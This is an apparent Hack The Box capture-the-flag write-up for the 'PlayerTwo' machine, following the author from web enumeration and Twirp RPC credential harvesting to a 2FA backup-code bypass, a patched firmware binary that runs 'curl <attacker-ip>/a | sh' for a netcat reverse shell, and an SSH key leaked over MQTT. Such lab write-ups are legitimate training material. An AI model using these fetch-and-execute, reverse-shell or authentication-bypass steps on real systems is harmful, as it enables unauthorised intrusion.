HTB - PlayerTwo
Last updated
Last updated
An Insane difficulty Linux machine that tested my web skills quite a bit and also had me doing as much research on new protocols and services as three or four easy or medium boxes would. Finding each pathway forward wasn't too difficult with proper enumeration, but getting past each step required patience and reading lots of documentation.
In order to get the intended page for a server, sometimes you may need to direct your traffic to the site's FQDN rather than it's IP address. In order to do this you will need to tell your computer where to find that domain by adding the following line to /etc/hosts
. Subdomains need to be added on separate lines.
cewl
to get a site-customized wordlistIn order to get a comprehensive wordlist for a site, I use the following options: -d
depth, -o
follow links to outside sites, -a
include metadata, -e
includes email addresses, and -w <file>
to write the output to a file named <file>
.
wfuzz
to brute force file namesThe options used here are: -X GET
specifies the HTTP command to use, -w <filename>
specifies which wordlist to use, --sc 200
tells it to only list HTTP replies that return a code of 200, and -c
makes the output easier to read with colors. The command ends with the URL to enumerate, and will substitute any section in the URL where the word FUZZ
is inserted with each word from the wordlist.
After getting a rough shell on the machine, my first order of business is usually moving to a more comfortable shell with all of the creature comforts such as history, tab auto-completion, and the ability to use the arrow keys and alt-
and ctrl-
commands.
Make sure python is installed with which python
Use a python one-liner to spawn a bash
shell with python -c 'import pty;pty.spawn("/bin/bash")';
Background the shell and return to my machine with `ctrl-z`
Type stty raw -echo;
to allow sending of raw keyboard input through the pty. This lets me use ctrl-c
to kill commands on the other side rather than kill my shell (for example).
Type fg
to bring my shell back to the foreground
I started my enumeration off with an nmap scan of 10.10.10.170
. The options I regularly use are: -p-
, which is a shortcut which tells nmap to scan all TCP ports, -sC
is the equivalent to --script=default
and runs a collection of nmap enumeration scripts against the target, -sV
does a service scan, and-oN <name>
saves the output with a filename of <name>
.
Despite all of that output, there were only three ports open; SSH and two that returned HTTP data. The output from TCP 8545
didn't look like HTML, rather it was reporting a Content-Type of application/json
. The message "twirp_invalid_route"
looked like something to be investigated since nmap couldn't identify it.
Port 80 - HTTP
Before jumping off into any potential rabbit holes with the strange output from port 8545, it was best to fire up a browser and first try to connect to the open port 80 at http://10.10.10.170.
Oops, well that didn't seem to work. Refreshing the page just brought up this message again. Looking closer at the output on the page...it says Firefox can't load this page for some reason.
This is somewhat interesting, considering I was not using Firefox at the time, so I looked at the page source and discovered that it was actually a PNG image rather than text being displayed. This wasn't an error message so much as the actual page content.
Looking again at the text in the image, I noticed that it says "Please contact MrR3boot@player2.htb
." This looks like a potential username and hostname. Perhaps redirecting my traffic to http://player2.htb
would get me different output.
In order to get the intended page for a server, sometimes you need to direct your traffic to the site's FQDN rather than it's IP address. In order to do this you will need to tell your computer where to find that domain by adding the following line to /etc/hosts
After adding the domain to the hosts file, navigating to http://player2.htb led me to the real company website. By the looks of it, this company has suffered some sort of network breach before and has upped their security standards since.
After reading through the content on the page, I found a link to a subdomain at http://product.player2.htb/. Once again I added the new domain to my hosts file, and after navigating to this new site I found a login page.
I tried some basic credentials like admin:admin
but only got an alert box back saying Nope.
I figured that I must have to find the credentials somewhere else and decided to check out that other HTTP port I had seen earlier.
Port 8545
Opening a browser page and navigating to http://player2.htb:8545 returned a JSON formatted error message.
There was that "twirp_invalid_route"
message I saw from nmap again. I decided it was time to do a little research into twirp
and see if I could find anything useful.
I was quickly able to locate some resources on this protocol, which seems to be a routing method for accessing RPC methods securely. The following links are the documentation that seemed to describe best how to interact with it.
https://twitchtv.github.io/twirp/docs/intro.htmlhttps://github.com/twitchtv/twirp/blob/master/docs/routing.md
The protocol uses a .proto
file to determine the correct routing for RPC method requests, so I needed to see if I could find that file. There didn't seem to be a /rpc
directory as specified in the documentation, so I decided to enumerate folders using Dirbuster
to see if they had done a non-standard install. After a while, I found a /proto
directory at http://player2.htb/proto/.
I thought that the /proto
directory seemed like a likely location to place a .proto
file, but I still didn't know what the name of the file was to access it. Next, I ran cewl
against the two websites I had found in order to create a wordlist of likely filenames, but this did not lead anywhere. It ended up being a standard Dirbuster wordlist that got me the filename.
cewl
to get a customized wordlistIn order to get a comprehensive wordlist for this site, I used the following options: -d
depth, -o
follow links to outside sites, -a
include metadata, -e
includes email addresses, and -w <file>
writes the output to a file named <file>
.
wfuzz
to brute force file namesUsing the wordlist from cewl
first, then later with the standard Dirbuster wordlist, I used the wfuzz
tool to use fuzzing to try to find out the filename. Since I was pretty sure the file was in the /proto
folder, and the filetype was .proto
, I was able to do some fuzzing against the filename in-between with the format /proto/FUZZ.proto
.
After only... a few thousand tries, I got a successful hit using the word generated
. The .proto
file could then be downloaded using the URL http://player2.htb/proto/generated.proto.
.proto
fileThe contents of the generated.proto
file had some very useful information.
The GenCreds
RPC method in particular sounded like exactly what I was looking for. Now I needed to figure out how to access this method and see what it could give me.
twirp
to access RPC methodsThe documentation at https://github.com/twitchtv/twirp/blob/master/docs/routing.md gave the following example using curl
:
Further reading at https://twitchtv.github.io/twirp/docs/spec_v5.html describes interacting with twirp
:
The Request-Headers are normal HTTP headers. The Twirp wire protocol uses the following headers.
Content-Type header indicates the proto message encoding, which should be one of "application/protobuf", "application/json". The server uses this value to decide how to parse the request body, and encode the response body.
Twirp always uses HTTP POST method to send requests, because it closely matches the semantics of RPC methods.
Since this protocol is able to use standard HTTP requests, I decided to use Burp Repeater
instead of curl
so that I could more easily modify and resend requests as I tested them.
In order to connect to any potential exposed RPC methods through this port, a POST to the RPC method using the format below is required.
From the information in the generated/proto
file I was able to determine that the Package name was twirp.player2.auth
and the Service was Auth
. The method we were trying to access was GenCreds
. This made our full Twirp route /twirp/twirp.player2.auth.Auth/GenCreds
.
After further testing and reading through the documentation I realized that you had to send some sort of JSON formatted data in the request as well as the proper headers.
Make sure to send the Content-Type:application/json
header as well! Otherwise you will get errors.
After fixing my request and sending it to the server I got the following reply:
product.player2.htb
Finally! I had some credentials. I tried to use these creds to log into the site at http://product.player2.htb/ and got this message:
Since I had taken a short break after successfully crafting my request and taking notes an all, I figured that maybe the credentials it had supplied me were only good for a limited time since they appeared to be randomly generated. I sent the request through Burp once more to see if it would give a different answer and I got a different set of credentials. I immediately went to the login site and entered them.
After playing around with generating credentials, and looking for other ways to login (SSH did not work, either) I noticed a pattern in the way the method was giving me credential sets. It turns out, there were only four possible usernames and four possible passwords. I also found out that it didn't seem to matter what data I send to the RPC method, even a blank message worked.
Usernames:
mprox
jkr
snowscan
0xdf
Passwords:
ze+EKe-SGF^5uZQX
tR@dQnwnZEk95*6#
XHq7WJTA?QD?E2
Lp-+Q8umLW5*7qkc
Refusing to give up I tried each combination the server gave me. Nope. a number of times...and then...
I was finally successfully authenticated and redirected to http://product.player2.htb/totp. 2FA! Now I needed to try and figure out how to bypass this two-factor authentication page by somehow getting a Time-based One-Time Password (TOTP).
Actually, I kind of lied earlier...the first set of credentials it gave me logged me right in and brought me to this page, but it seemed more dramatic this way, especially since I had been so lucky getting the right ones the first time. The creds it gave me didn't work again shortly after probably because of some internal site error or maybe I fat-fingered pasting it in again. Shortly after, someone reset the box and I then had to go through the rest of that to get back in. The original creds I got seemed to work every time while doing this writeup. Doh!
After my Dirbuster
scan of the first website earlier had finished, I had also run it against the product
page as well which led me to discover the /api
folder.
I got lucky after that by guessing that there was a TOTP API since the page mentioned backup codes. This led me to the page http://product.player2.htb/api/totp. Navigating to the /api/totp
page gave me a useful error:
This looked to be another JSON formatted reply, so I decided to research how to bypass JSON based 2FA. This led me to https://c0d3g33k.blogspot.com/2018/02/how-i-bypassed-2-factor-authentication.html. The author described the message he sent to the server as below, though I didn't have all that information.
{"action":"backup_codes","clusterNum":"000","accountId":"test123","email":"test123@gmail.com"}
I tried sending a blank test message using Burp like before, but this gave me an "invalid session" error message, so I determined I probably needed to send the PHPSESSID I saw in my cookies after I logged into the site. Sending the session ID in a header kept giving me the same error until I realized my mistake. Need to send the session ID in a COOKIE!!! After that, the error message became "invalid action".
On the 2FA site I saw:
2FA You can either use the OTP that we sent to your mobile or the
backup codes
that you have with you.
Emphasis above is mine. Since I had already noticed on the /totp
site that I was looking for "backup codes", and the blog above had {"action":"backup_codes",
in his request, this looked like what I needed.
Once I got my request formatted correctly ,and had the proper Cookie header, I got a response from the server.
I had my 2FA code! I used this code on the /totp
page and was greeted with the page at http://product.player2.htb/protobs/.
Since it was the name of the product, my first instinct was to test and see if there was a page at http://product.player2.htb/protobs.
Yep. Lucky guess again. It seemed that I can upload files to go through some sort of verification, which redirected to the page http://product.player2.htb/protobs/verify. I tried uploading a PHP reverse shell, but it just led to a blank white page and did not send me a shell. After experimenting with various file uploads and testing for command injection and other things I moved on to explore the rest of the /home
page.
After searching around the site for awhile, I found a very hard to see link under the heading "Get an early access to Protobs". The background was animated and the explosion kept obscuring the text. In the screenshot above I have my mouse hovering over the link (see the URL in the bottom left corner). Clicking on this link gave me a pdf at http://product.player2.htb/protobs.pdf.
This document describes the firmware verification process, which is likely what is happening at the /verify
page I found earlier.
The last page in the PDF confirms this. It looks like Protobs developers can use the /protobs/verify
page to test out their firmware before pushing it to customers. I downloaded the firmware file, and unzipped it. Inside was an info
file with copyright information, a version
file with versioning information, and the protobs.bin
firmware file.
Running the file
command against the Protobs.bin
file shows that it is just data.
However, opening the file in GHex, I can see an ELF header, meaning this is a Linux executable with some data stuffed at the beginning (most likely the verification signature).
While browsing through the file, I saw a string in the ELF that looks suspiciously like a shell command: stty raw -echo min 0 time 10
. Since this command was placed in the program as a plain string, perhaps I could replace it with my own command and could possibly get code execution on the remote server.
I did some research into how to replace a section of code in the ELF, and came up with https://reverseengineering.stackexchange.com/questions/14607/replace-section-inside-elf-file. This in turn led to: https://unix.stackexchange.com/questions/214820/patching-a-binary-with-dd. Using strings to determine the byte offset of the code to replace, then using dd
it is possible to replace arbitrary code. However, it seemed to me as if all they were doing was some fancy cut and paste.
I knew from previous experience from doing CTFs that you could modify the hex code of a file (and by extension the ASCII strings they represent) almost as easily as using a regular text editor. I decided to try "cheating" a bit using GHex. I selected the string I wanted to replace, and wrote my own commands in its place. I kept it as simple as possible since I didn't know what kind of checks the verification would do, and decided to create a staged payload. I wanted this program to download a script that would be hosted on my local python SimpleHTTPServer. My code read:curl 10.10.15.20:8090/a | sh
. This would download my script called simply a
and then execute it using sh
. I would have used bash, but nearly every Linux box is guaranteed to have sh
or at least something aliased to it, and this also saved me a couple characters!
Once my script executed, it would then reach back and download netcat (in case the version on the machine did not have -e
capability). After that it made nc
executable and created a reverse shell back to my computer which was waiting to catch it.
After getting a rough shell on the machine, my first order of business was moving to a more comfortable shell with all of the creature comforts such as history, tab auto-completion, and the ability to use non-character keys (such as the arrow keys).
First I made sure that python was installed, then upgraded from a limited shell to a more useful one in just a few steps:
Use a python one-liner to spawn a bash
shell with python -c 'import pty;pty.spawn("/bin/bash")';
Background the shell and return to my machine with `ctrl-z`
Type stty raw -echo;
to allow sending of raw keyboard input through the pty. This lets me use ctrl-c
to kill commands on the other side rather than kill my shell (for example).
Type fg
to bring my shell back to the foreground
www-data
Next I checked for any password-less sudo permissions with sudo -l
but there weren't any. A quick check of the directory I was in showed the back-side code for the website.
A look inside /etc/passwd
shows three users that can log in: root
, egre55
, and observer
.
However, the user egre55
user home folder wasn't visible to me, even though it is specified in /etc/passwd
. Looks like observer
is the most likely avenue for privilege escalation.
Some of the interesting processes that were running are shown above. Netstat showed two additional ports listening on 127.0.0.1, port 1883 -> MQQT
and port 3306 -> MySQL.
After poking around for a bit and not finding anything useful, I decided to start with mosquitto since I hadn't heard of it.
First I started with /etc/mosquitto/mosquitto.conf
since I had seen it in the ps aux
output, but there wasn't anything very interesting there.
Next I did quite a bit of reading into the Mosquitto
service, and found that it is a service for passing messages between applications and services. Each can 'subscribe' to different topics, and will receive messages pushed to that topic, sort of like push notifications for apps on a cell phone. It is intended to be lightweight and good for low power situations such as for IOT devices. Perhaps if I could find the right topics to subscribe to, there would be some useful information that would help me to escalate my privileges.
I found that to subscribe to topics I needed to use the mosquitto_sub
program. The man page at https://mosquitto.org/man/mosquitto_sub-1.html gave me all the info I needed.
mosquitto_sub is a simple MQTT version 5/3.1.1 client that will subscribe to topics and print the messages that it receives.
Subscribe to all broker status messages:
mosquitto_sub
-v
-t
\$SYS/#
https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901014 describes that topic subscription as:
$SYS/ has been widely adopted as a prefix to topics that contain Server-specific information or control APIs
"Server-specific information or control APIs" sounded promising.
In order to subscribe to $SYS/#
I used some information from the mosquitto.conf
file and the port I had found open from netstat. mosquitto_sub -h localhost -p 1883 -t '$SYS/#' -v
I now was the proud owner of a shiny new SSH key! I took it and tried to log in as the egre55
and observer
users I saw earlier.
Success! I was able to use the SSH private key to log in as the user observer
. While logging in I did notice a strange error load pubkey "observer_id_rsa": invalid format
but it didn't seem to cause any problems.
First order of business...claim my hard-earned user flag!
Yes, I know the real flag is in uppercase .
observer
While logging in, I noticed the MOTD stated 121 packages out of date, 5 security updates
. I'm sure that at least 124 of those were rabbit holes so I didn't pay too much attention to it, and proceeded to enumerate the machine more deeply.
While looking through the files that had the SUID bit set, I noticed that /opt/Configuration_Utility/Protobs
stood out.
It looked like I had found the configuration utility for the protobs
program, which has the setuid
bit set. This looks like something that could possibly be used to do my privilege escalation. The two .so
files look like clues as to how the file is built, though unfortunately I am quite weak on C programming and with reverse engineering and binary exploitation, so this may be a bit beyond me for now. I will return to this one at a later date after I learn more.
Thanks to MrR3boot
& b14ckh34rt
for creating such a fun and challenging machine. I feel like I had to learn as much just to get User access for this one as I normally would in three or four easy - medium ones all together.
If you like this content and would like to see more, please consider buying me a coffee!